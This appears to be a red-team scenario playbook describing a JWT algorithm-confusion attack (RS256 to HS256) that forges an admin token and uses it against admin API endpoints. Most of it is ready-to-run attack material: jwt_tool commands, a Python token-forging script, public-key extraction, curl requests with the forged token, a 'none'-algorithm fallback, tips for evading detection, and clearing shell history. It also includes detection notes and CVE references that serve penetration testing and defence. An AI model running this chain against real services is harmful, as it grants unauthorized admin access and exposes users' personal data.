---
name: rt-scenario-w007
description: "W-007: JWT Algorithm Confusion → Admin Privilege Escalation. Domain: web. Attack chain: capture JWT token → decode header → attempt RS256→HS256 confusion with public key → forge admin token → access admin API. MITRE: T1190 → T1078.001 → T1548. Real example: RS256 token → extract public key → sign with HS256 → admin: true → full platform admin access"
---

# W-007: JWT Algorithm Confusion → Admin Privilege Escalation

## Overview

**Attack Objective:** Exploit JWT algorithm confusion (RS256 → HS256) to forge a token with elevated privileges, gaining admin access to protected API endpoints without valid credentials.

**Required Access Level:** None (unauthenticated) to Low (valid user account). A valid JWT from a low-privilege user account is sufficient to execute this attack.

**Estimated Time to Execute:** 30–90 minutes depending on target complexity and public key availability.

**Detection Risk Level:** Low–Medium. Token forging occurs entirely offline. The only detectable activity is the final API request with the forged token, which may appear as a normal authenticated request if signature validation is broken.

---

## Prerequisites

### Required Tools

```bash
# jwt_tool — primary JWT attack framework
pip3 install termcolor cprint pycryptodomex requests
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && python3 jwt_tool.py --help

# python3-jose / PyJWT for manual token crafting
pip3 install python-jose PyJWT cryptography

# openssl — extract and manipulate public keys
# Already available on most Linux/macOS systems
openssl version

# Burp Suite (Community or Pro) — capture and replay HTTP traffic
# Download from https://portswigger.net/burp

# curl — API interaction
curl --version

# jq — JSON parsing
sudo apt-get install jq   # Debian/Ubuntu
brew install jq           # macOS
```

### Required Access or Conditions

- A valid JWT issued by the target application (obtained by logging in as any user, or intercepted in transit)
- The application must use RS256 (asymmetric) signature verification
- The server's public key must be obtainable (JWKS endpoint, TLS certificate, or application source)
- The application must accept HS256-signed tokens when it originally issued RS256 tokens (broken algorithm validation)

### Skill Level

**INTERMEDIATE** — Requires understanding of JWT structure, asymmetric vs. symmetric cryptography, and HTTP API interaction. No exploit code required; attack uses standard tooling.

---

## Attack Chain

```
[1] Obtain valid JWT (low-priv user login)
        |
        v
[2] Decode JWT header → confirm alg: RS256
        |
        v
[3] Retrieve server public key (JWKS / cert / source)
        |
        v
[4] Attempt RS256 → HS256 confusion:
    sign forged payload with public key as HMAC secret
        |
        v
[5] Modify payload: role/admin claim elevated
        |
        v
[6] Submit forged token to admin API endpoint
        |
        v
[7] Confirm admin access → achieve objective
```

**MITRE ATT&CK Chain:** T1190 (Exploit Public-Facing Application) → T1078.001 (Valid Accounts: Default Accounts) → T1548 (Abuse Elevation Control Mechanism)

---

## Step-by-Step Execution

### Step 1: Obtain a Valid JWT

Log in as a low-privilege user and capture the JWT from the response.

```bash
# Using curl
curl -s -X POST https://target.example.com/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"user@example.com","password":"Password123"}' \
  | jq -r '.token'
```

**Expected Output:**
```
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2MDAwMDAwMDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
```

**Save the token:**
```bash
export JWT="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2MDAwMDAwMDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
```

**Fallback:** Intercept the token in Burp Suite by proxying the login request. Check Authorization headers, cookies (e.g., `session=`, `jwt=`), and response bodies.

---

### Step 2: Decode the JWT Header and Confirm Algorithm

```bash
# Decode header (base64url)
echo $JWT | cut -d'.' -f1 | base64 -d 2>/dev/null | jq .

# Using jwt_tool
python3 jwt_tool.py $JWT
```

**Expected Output:**
```json
{
  "alg": "RS256",
  "typ": "JWT"
}
```

**Payload decode:**
```bash
echo $JWT | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .
```

**Expected Output:**
```json
{
  "sub": "1234567890",
  "name": "John Doe",
  "role": "user",
  "admin": false,
  "iat": 1600000000
}
```

**Fallback:** Use https://jwt.io to paste and decode the token manually. Confirm `alg` field is `RS256`.

---

### Step 3: Retrieve the Server's Public Key

**Option A — JWKS Endpoint (most common):**
```bash
curl -s https://target.example.com/.well-known/jwks.json | jq .
curl -s https://target.example.com/api/auth/jwks | jq .
curl -s https://target.example.com/oauth/jwks | jq .
```

**Expected Output:**
```json
{
  "keys": [
    {
      "kty": "RSA",
      "use": "sig",
      "n": "pjdss8ZaDfEH...",
      "e": "AQAB",
      "kid": "1"
    }
  ]
}
```

**Convert JWKS to PEM:**
```bash
# Save JWKS key to file and convert using jwt_tool
python3 jwt_tool.py $JWT --jwksfile jwks.json

# Or using a python script
python3 - <<'EOF'
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
import base64, json

# Paste your n and e values here
n_b64 = "pjdss8ZaDfEH..."
e_b64 = "AQAB"

def b64url_decode(s):
    s += '=' * (4 - len(s) % 4)
    return int.from_bytes(base64.urlsafe_b64decode(s), 'big')

pub = RSAPublicNumbers(b64url_decode(e_b64), b64url_decode(n_b64)).public_key(default_backend())
pem = pub.public_bytes(serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo)
print(pem.decode())
with open('public_key.pem', 'wb') as f:
    f.write(pem)
print("[+] Saved to public_key.pem")
EOF
```

**Option B — Extract from TLS Certificate:**
```bash
openssl s_client -connect target.example.com:443 </dev/null 2>/dev/null \
  | openssl x509 -pubkey -noout > public_key.pem
cat public_key.pem
```

**Option C — Extract from JWT itself (if x5c header present):**
```bash
# If JWT header contains x5c (certificate chain), decode and extract
echo $JWT | cut -d'.' -f1 | base64 -d | jq -r '.x5c[0]' | \
  openssl x509 -inform DER -pubkey -noout
```

**Fallback:** Search the application's JavaScript bundles or open-source repositories for hardcoded public keys.

---

### Step 4: Forge an Admin Token Using Algorithm Confusion

**Method A — Using jwt_tool (recommended):**
```bash
cd jwt_tool

# Attempt HS256 confusion attack using the public key as the HMAC secret
python3 jwt_tool.py $JWT -X k -pk ../public_key.pem

# Tamper specific claims and re-sign
python3 jwt_tool.py $JWT -T -pk ../public_key.pem -X k
# When prompted, change: role -> admin, admin -> true
```

**Method B — Manual Python Approach:**
```python
import jwt
import json
import base64

# Read the public key PEM
with open('public_key.pem', 'rb') as f:
    public_key = f.read()

# Craft the forged payload
payload = {
    "sub": "1234567890",
    "name": "John Doe",
    "role": "admin",
    "admin": True,
    "iat": 1600000000
}

# Sign with HS256 using the public key bytes as the secret
# PyJWT >= 2.x requires 'algorithms' param
forged_token = jwt.encode(
    payload,
    public_key,
    algorithm="HS256"
)

print("[+] Forged token:")
print(forged_token)
```

```bash
python3 forge_token.py
export FORGED_JWT="<output from above>"
```

**Expected Output:**
```
[+] Forged token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6ImFkbWluIiwiYWRtaW4iOnRydWUsImlhdCI6MTYwMDAwMDAwMH0.SIGNATURE_WITH_PUBLIC_KEY_AS_SECRET
```

**Verification — confirm header now shows HS256:**
```bash
echo $FORGED_JWT | cut -d'.' -f1 | base64 -d | jq .
```

**Expected:**
```json
{
  "alg": "HS256",
  "typ": "JWT"
}
```

**Fallback:** If jwt_tool fails, try the `none` algorithm attack as a secondary check:
```bash
python3 jwt_tool.py $JWT -X a
```

---

### Step 5: Access the Admin API with the Forged Token

```bash
# Attempt access to admin-only endpoints
curl -s -H "Authorization: Bearer $FORGED_JWT" \
  https://target.example.com/api/admin/users | jq .

curl -s -H "Authorization: Bearer $FORGED_JWT" \
  https://target.example.com/api/admin/dashboard | jq .

curl -s -H "Authorization: Bearer $FORGED_JWT" \
  https://target.example.com/api/admin/settings | jq .
```

**Expected Output (success):**
```json
{
  "status": "ok",
  "users": [
    {"id": 1, "email": "admin@example.com", "role": "admin"},
    {"id": 2, "email": "user@example.com",  "role": "user"}
  ]
}
```

**Expected Output (failure — server validates algorithm):**
```json
{
  "error": "Invalid token signature",
  "code": 401
}
```

**Fallback — try alternative header formats:**
```bash
# Some apps use cookie-based JWT
curl -s -b "session=$FORGED_JWT" https://target.example.com/api/admin/users

# Some apps use X-Auth-Token
curl -s -H "X-Auth-Token: $FORGED_JWT" https://target.example.com/api/admin/users

# Try without Bearer prefix
curl -s -H "Authorization: $FORGED_JWT" https://target.example.com/api/admin/users
```

---

### Step 6: Document and Screenshot Evidence

```bash
# Capture full response with headers for evidence
curl -sv -H "Authorization: Bearer $FORGED_JWT" \
  https://target.example.com/api/admin/users \
  -o admin_response.json \
  -D admin_headers.txt 2>&1 | tee evidence_w007.txt

# Record token details
echo "=== Original Token ===" >> evidence_w007.txt
echo $JWT >> evidence_w007.txt
echo "=== Forged Token ===" >> evidence_w007.txt
echo $FORGED_JWT >> evidence_w007.txt
echo "=== Payload ===" >> evidence_w007.txt
echo $FORGED_JWT | cut -d'.' -f2 | base64 -d | jq . >> evidence_w007.txt
```

---

## Real-World Reference

**Scenario:** E-commerce platform using Auth0 RS256 JWTs.

1. Attacker creates a free account and captures the RS256-signed JWT from the login response.
2. The JWKS endpoint at `/.well-known/jwks.json` is publicly accessible and returns the RSA public key.
3. Attacker converts the JWKS `n` and `e` parameters to PEM format.
4. Using jwt_tool, attacker re-signs a modified token payload (`"admin": true, "role": "admin"`) with HS256, using the RSA public key as the HMAC-SHA256 secret.
5. The backend JWT library (e.g., an older version of `jsonwebtoken` for Node.js) accepts the algorithm from the token header rather than enforcing RS256 server-side.
6. The forged token passes signature verification because the library uses the public key as both the RSA verify key and — when it sees `alg: HS256` — as the HMAC secret.
7. Attacker gains full platform admin access: user enumeration, order manipulation, PII exposure, and backend configuration access.

**CVE References:** CVE-2015-9235 (jsonwebtoken), CVE-2016-5431 (python-jose), CVE-2022-21449 (Java ECDSA "Psychic Signatures" — related class of algorithm confusion).

---

## MITRE ATT&CK Mapping

| Step | Tactic | Technique | Sub-technique | Description |
|------|--------|-----------|---------------|-------------|
| 1 — Obtain JWT | Initial Access | T1190 | — | Exploit public-facing login endpoint to obtain authenticated session token |
| 2 — Decode Token | Discovery | T1082 | — | System information discovery via JWT payload inspection |
| 3 — Retrieve Public Key | Reconnaissance | T1596.005 | T1596 — Search Open Technical Databases | Collect RSA public key from JWKS endpoint or TLS certificate |
| 4 — Algorithm Confusion | Privilege Escalation | T1548 | — | Abuse JWT library behavior to accept HS256 token signed with public key |
| 5 — Forge Admin Token | Defense Evasion | T1550.001 | Use Alternate Authentication Material | Forge token with elevated claims to bypass authorization controls |
| 6 — Access Admin API | Privilege Escalation | T1078.001 | Valid Accounts: Default Accounts | Use forged token to authenticate as admin without valid credentials |
| 7 — Enumerate/Exfiltrate | Collection | T1213 | — | Access admin data, user PII, configuration settings |

---

## Detection and OPSEC

### How This Attack Is Detected

- **Algorithm mismatch logging:** Properly configured servers log or alert when a token arrives with an unexpected algorithm (HS256 instead of RS256).
- **Signature validation failure logs:** Failed signature attempts before a successful forged request may appear in SIEM.
- **Anomalous admin activity:** A user account that has never accessed admin endpoints suddenly making admin API calls triggers behavioral analytics (UEBA).
- **Token fingerprinting:** WAF or API gateway rules comparing `alg` header against the expected algorithm per endpoint.
- **Rate of JWT decode errors:** Spiking decode failures prior to a successful admin request can indicate token manipulation attempts.

### How to Reduce Detection Risk During Authorized Engagement

- Perform token forging **entirely offline** — no network traffic is generated until the final API call.
- Use the same source IP and User-Agent as the legitimate token capture session.
- Minimize the number of forged token attempts — one clean test per endpoint.
- Time the admin API request within the original token's validity window to avoid expired-token alerts.
- Use a valid `iat` (issued-at) and realistic `exp` claim in the forged payload to avoid token validation anomalies.
- Coordinate with the client's SOC to whitelist your source IP during testing, or test during agreed maintenance windows.

### Artifacts Left Behind

| Artifact | Location | Notes |
|----------|----------|-------|
| HTTP access logs | Target web server / API gateway | Contains forged token in Authorization header |
| Application logs | Target app log files / SIEM | May contain JWT decode or validation events |
| JWKS access log | Target web server | GET request to `/.well-known/jwks.json` |
| `public_key.pem` | Tester's local machine | Extracted public key file |
| `forge_token.py` | Tester's local machine | Python script used to generate forged token |
| `evidence_w007.txt` | Tester's local machine | Evidence capture file |

---

## Cleanup

### On the Target System (coordinate with client)

```bash
# No files are written to the target system during this attack.
# The only artifacts are server-side logs.
# Request the client's SOC or log administrator to:
# 1. Identify and tag the test requests by source IP and timestamp
# 2. Annotate (do not delete) log entries for evidence preservation
# 3. Confirm no admin changes were made (verify admin audit log integrity)
```

### On the Tester's Machine

```bash
# Remove sensitive artifacts after engagement
rm -f public_key.pem
rm -f forge_token.py
rm -f evidence_w007.txt
rm -f admin_response.json
rm -f admin_headers.txt
rm -f jwks.json

# Clear shell history entries containing the JWT
history -c   # bash (clears all history — warn tester)
# Or selectively remove lines containing the token:
# Edit ~/.bash_history or ~/.zsh_history and remove JWT lines

# Unset environment variables
unset JWT
unset FORGED_JWT
```

---

## References

### Tools

| Tool | URL | Purpose |
|------|-----|---------|
| jwt_tool | https://github.com/ticarpi/jwt_tool | Primary JWT attack and analysis framework |
| PyJWT | https://pyjwt.readthedocs.io | Python JWT encode/decode library |
| python-jose | https://python-jose.readthedocs.io | JOSE implementation for Python |
| Burp Suite | https://portswigger.net/burp | HTTP interception and replay |
| jwt.io | https://jwt.io | Online JWT decode/inspect |
| CyberChef | https://gchq.github.io/CyberChef | Base64url decode and key operations |

### Research and Write-Ups

- PortSwigger Web Security Academy — JWT Attacks: https://portswigger.net/web-security/jwt
- Auth0 Blog — Critical Vulnerabilities in JWT Libraries (2015): https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
- ticarpi JWT Attack Playbook: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
- OWASP Testing Guide — Testing JSON Web Tokens: https://owasp.org/www-project-web-security-testing-guide/
- CVE-2015-9235 (jsonwebtoken algorithm confusion): https://nvd.nist.gov/vuln/detail/CVE-2015-9235

### MITRE ATT&CK

- T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
- T1078.001 Valid Accounts — Default Accounts: https://attack.mitre.org/techniques/T1078/001/
- T1548 Abuse Elevation Control Mechanism: https://attack.mitre.org/techniques/T1548/
- T1550.001 Use Alternate Authentication Material: https://attack.mitre.org/techniques/T1550/001/
